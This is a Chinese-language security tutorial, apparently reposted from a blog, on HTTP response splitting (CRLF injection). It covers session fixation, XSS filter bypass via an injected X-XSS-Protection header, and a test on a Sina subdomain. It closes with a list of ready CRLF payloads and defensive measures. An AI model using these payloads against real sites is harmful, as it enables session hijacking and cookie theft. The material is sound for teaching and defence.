Web安全-HTTP响应拆分(CRLF注入)漏洞

简介: Web安全-HTTP响应拆分(CRLF注入)漏洞

文章目录
漏洞简介
漏洞利用
会话固定
XSS攻击
实战案例
挖掘技巧
漏洞防御
漏洞简介
CRLF 是 CR 和 LF 两个字符的拼接,它们分别代表 “回车+换行”(\r\n),全称为 “Carriage Return/Line Feed”,十六进制编码分别为0x0d 和 0x0a,URL编码为 %0D 和 %0A 。CR 和 LF 组合在一起即 CRLF 命令,它表示键盘上的 “Enter” 键,许多应用程序和网络协议使用这些命令作为分隔符。

在 HTTP 协议中,HTTP header 之间是由一个 CRLF 字符序列分隔开的,HTTP Header 与 Body 是用两个 CRLF 分隔的,浏览器根据这两个 CRLF 来取出 HTTP 内容并显示出来。

所以如果用户的输入在 HTTP 返回包的 Header 处回显,便可以通过 CRLF 来提前结束响应头,在响应内容处注入攻击脚本。因此 CRLF Injection 又叫 HTTP 响应拆分/截断(HTTP Response Splitting,简称HRS)。

此处可以在本地测试一下 CRLF 字符的作用,如输入111%0d%0a222%0d%0a%0d%0a333,能看到插入一个 CRLF 字符和两个 CRLF 字符依次的作用是换行和插入空行:

CRLF 注入漏洞的本质和 XSS 有点相似,攻击者将恶意数据发送给易受攻击的 Web 应用程序,Web 应用程序将恶意数据输出在 HTTP 响应头中(XSS一般输出在主体中)。所以 CRLF 注入漏洞的检测也和 XSS 漏洞的检测差不多。通过修改 HTTP 参数或 URL,注入恶意的 CRLF,查看构造的恶意数据是否在响应头中输出。

漏洞利用
根据插入的 CRLF 的个数不同,可设置任意的响应头,控制响应正文两个主要的利用办法。具体的危害表现在:会话固定、XSS、缓存病毒攻击、日志伪造等等。

会话固定
正常一般网站会在 HTTP 头中用 Location: ip 这种方式来进行302跳转,所以攻击者可以构造恶意的 CRLF 字符控制的内容就是Location:后面的内容!

一个正常的 302 跳转包是这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
1
2
3
4
5
6
但如果我们输入的是:

http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
1
注入了一个换行,此时的返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
1
2
3
4
5
6
7
这个时候这样我们就给访问者设置了一个 SESSION,造成一个“会话固定漏洞”。

XSS攻击
当然,HRS 并不仅限于会话固定,通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS。

比如一个网站接受 url 参数 http://test.sina.com.cn/?url=xxx,xxx 放在 Location 后面作为一个跳转。如果我们输入的是:

http://test.sina.com.cn/?url=%0d%0a%0d%0a
1
返回包就会变成这样:

HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:


1
2
3
4
5
6
7
8
之前说了浏览器会根据第一个 CRLF 把 HTTP 包分成头和体,然后将体显示出来。于是我们这里这个标签就会显示出来,造成一个XSS。

为什么说是无视浏览器 Filter 的?

这里涉及到另一个问题。浏览器的 Filter 是浏览器应对一些反射型XSS做的保护策略,当 url 中含有 XSS 相关特征的时候就会过滤掉不显示在页面中,所以不能触发 XSS。怎样才能关掉 filter?一般来说用户这边是不行的,只有数据包中 http 头含有X-XSS-Protection 并且值为 0 的时候,浏览器才不会开启 filter。

说到这里应该就很清楚了,HRS 不正是注入 HTTP 头的一个漏洞吗,我们可以将 X-XSS-Protection:0 注入到数据包中,再用两个 CRLF 来注入 XSS 代码,这样就成功地绕过了浏览器 filter,并且执行我们的反射型 XSS。所以说 HRS 的危害大于 XSS,因为它能绕过一般 XSS 所绕不过的 filter,并能产生会话固定漏洞。

综上,当我们输入两次%0d时,响应头和响应正文会进行分离,就可以构成反射型 xss,Payload 如下:

http://you-ip/?setcookie=%0dX-XSS-Protection:%200%0a%0d%0a%0d%0a
1
响应包:

HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
set-cookie:
X-XSS-Protection: 0


1
2
3
4
5
6
7
实战案例
来一个真实案例, 新浪某分站含有一个 url 跳转漏洞,危害并不大,于是我就想到了 CRLF Injection,当我测试:

http://xxx.sina.com.cn/?url=%0d%0a%0d%0a%3Cimg%20src=1%3E
1
的时候,发现图片已经输出在页面中了,说明 CRLF 注入成功了:

那么我们试试 XSS 看看:

看控制台,果然被 XSS Filter 拦截了。

那么我们就注入一个:

X-XSS-Protection:0
1
到数据包中,看看什么效果:

挖掘技巧
挖掘此类漏洞,依旧要遵循亘古不变的原则,观察我们的 “输入” 和 “输出” 位置,对于 CRLF 则是观察返回的各种类型的协议头,所以挖掘分三步:

观察输出是否在返回头中,查看输入,可能是在 URL 值和参数、cookie 头中,在过往的挖掘过程中,最常见的两种情况是使用输入参数创建 Cookie和 302 跳转 location 处;
提交 %0D%0A 字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过;
漏洞利用,使杀伤最大化,将漏洞转化为 HTML 注入,XSS,缓存 等。
附上 CRLF Payload:

//探测漏洞:
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header

//开放重定向:
/www.google.com/%2f%2e%2e%0d%0aheader:header

//CRLF-XSS:
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e

//XSS绕过:
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/

//Location:
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
漏洞防御
要避免 http 响应截断,需要注意以下几点:

对用户的数据进行合法性校验,对特殊的字符进行编码,如<、>、’、”、CR、LF等,限制用户输入的 CR 和 LF,或者对 CR 和 LF 字符正确编码后再输出,以防止注入自定义 HTTP 头;
创建安全字符白名单,只接受白名单中的字符出现在 HTTP 响应头文件中;
在将数据传送到 http 响应头之前,删除所有的换行符。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_39190897/article/details/124527204

目录
相关文章
|
11天前
|
弹性计算 人工智能 架构师
阿里云携手Altair共拓云上工业仿真新机遇
2024年9月12日,「2024 Altair 技术大会杭州站」成功召开,阿里云弹性计算产品运营与生态负责人何川,与Altair中国技术总监赵阳在会上联合发布了最新的“云上CAE一体机”。
阿里云携手Altair共拓云上工业仿真新机遇
|
8天前
|
机器学习/深度学习 算法 大数据
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
2024“华为杯”数学建模竞赛,对ABCDEF每个题进行详细的分析,涵盖风电场功率优化、WLAN网络吞吐量、磁性元件损耗建模、地理环境问题、高速公路应急车道启用和X射线脉冲星建模等多领域问题,解析了问题类型、专业和技能的需要。
2520 17
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
|
7天前
|
机器学习/深度学习 算法 数据可视化
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
2024年中国研究生数学建模竞赛C题聚焦磁性元件磁芯损耗建模。题目背景介绍了电能变换技术的发展与应用,强调磁性元件在功率变换器中的重要性。磁芯损耗受多种因素影响,现有模型难以精确预测。题目要求通过数据分析建立高精度磁芯损耗模型。具体任务包括励磁波形分类、修正斯坦麦茨方程、分析影响因素、构建预测模型及优化设计条件。涉及数据预处理、特征提取、机器学习及优化算法等技术。适合电气、材料、计算机等多个专业学生参与。
1522 14
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
|
3天前
|
存储 关系型数据库 分布式数据库
GraphRAG:基于PolarDB+通义千问+LangChain的知识图谱+大模型最佳实践
本文介绍了如何使用PolarDB、通义千问和LangChain搭建GraphRAG系统,结合知识图谱和向量检索提升问答质量。通过实例展示了单独使用向量检索和图检索的局限性,并通过图+向量联合搜索增强了问答准确性。PolarDB支持AGE图引擎和pgvector插件,实现图数据和向量数据的统一存储与检索,提升了RAG系统的性能和效果。
|
9天前
|
编解码 JSON 自然语言处理
通义千问重磅开源Qwen2.5,性能超越Llama
击败Meta,阿里Qwen2.5再登全球开源大模型王座
571 14
|
1月前
|
运维 Cloud Native Devops
一线实战:运维人少,我们从 0 到 1 实践 DevOps 和云原生
上海经证科技有限公司为有效推进软件项目管理和开发工作,选择了阿里云云效作为 DevOps 解决方案。通过云效,实现了从 0 开始,到现在近百个微服务、数百条流水线与应用交付的全面覆盖,有效支撑了敏捷开发流程。
19282 30
|
10天前
|
人工智能 自动驾驶 机器人
吴泳铭:AI最大的想象力不在手机屏幕,而是改变物理世界
过去22个月,AI发展速度超过任何历史时期,但我们依然还处于AGI变革的早期。生成式AI最大的想象力,绝不是在手机屏幕上做一两个新的超级app,而是接管数字世界,改变物理世界。
480 49
吴泳铭:AI最大的想象力不在手机屏幕,而是改变物理世界
|
1月前
|
人工智能 自然语言处理 搜索推荐
阿里云Elasticsearch AI搜索实践
本文介绍了阿里云 Elasticsearch 在AI 搜索方面的技术实践与探索。
18839 20
|
1月前
|
Rust Apache 对象存储
Apache Paimon V0.9最新进展
Apache Paimon V0.9 版本即将发布,此版本带来了多项新特性并解决了关键挑战。Paimon自2022年从Flink社区诞生以来迅速成长,已成为Apache顶级项目,并广泛应用于阿里集团内外的多家企业。
17528 13
Apache Paimon V0.9最新进展
|
2天前
|
云安全 存储 运维
叮咚!您有一份六大必做安全操作清单,请查收
云安全态势管理(CSPM)开启免费试用
364 4
叮咚!您有一份六大必做安全操作清单,请查收